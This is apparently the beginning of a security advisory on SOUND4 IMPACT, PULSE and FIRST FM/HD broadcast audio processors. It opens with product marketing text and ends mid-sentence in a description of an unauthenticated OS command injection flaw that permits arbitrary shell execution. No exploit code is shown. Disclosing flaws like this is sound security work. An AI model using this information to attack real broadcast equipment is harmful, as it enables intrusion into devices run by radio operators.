  Summary: The SOUND4 IMPACT introduces an innovative process - mono and
  stereo parts of the signal are processed separately to obtain perfect
  consistency in terms of both sound and level. Therefore, in moving
  reception, when the FM receiver switches from stereo to mono and back to
  stereo, the sound variations and changes in level are reduced by over 90%.
  In the SOUND4 IMPACT processing chain, the stereo expander can be used
  substantially without any limitations.
  
  With its advanced functionalities and impressive versatility, SOUND4
  PULSE gives clients the ultimate price - performance ratio, providing
  much more than just a processor. Flexible and powerful, it ensures perfect
  sound quality and full compatibility with radio broadcasting standards
  and can be used simultaneously for FM and HD, DAB, DRM or streaming.
  
  SOUND4 FIRST provides all the most important functionalities you need
  in an FM/HD processor and sets the bar high both in terms of performance
  and affordability. Designed to deliver a sound of uncompromising quality,
  this tool gives you 2-band processing, a digital stereo generator and an
  IMPACT Clipper.
  
  Desc: The application suffers from an unauthenticated OS command injection
  vulnerability. This can be exploited to inject and execute arbitrary shell
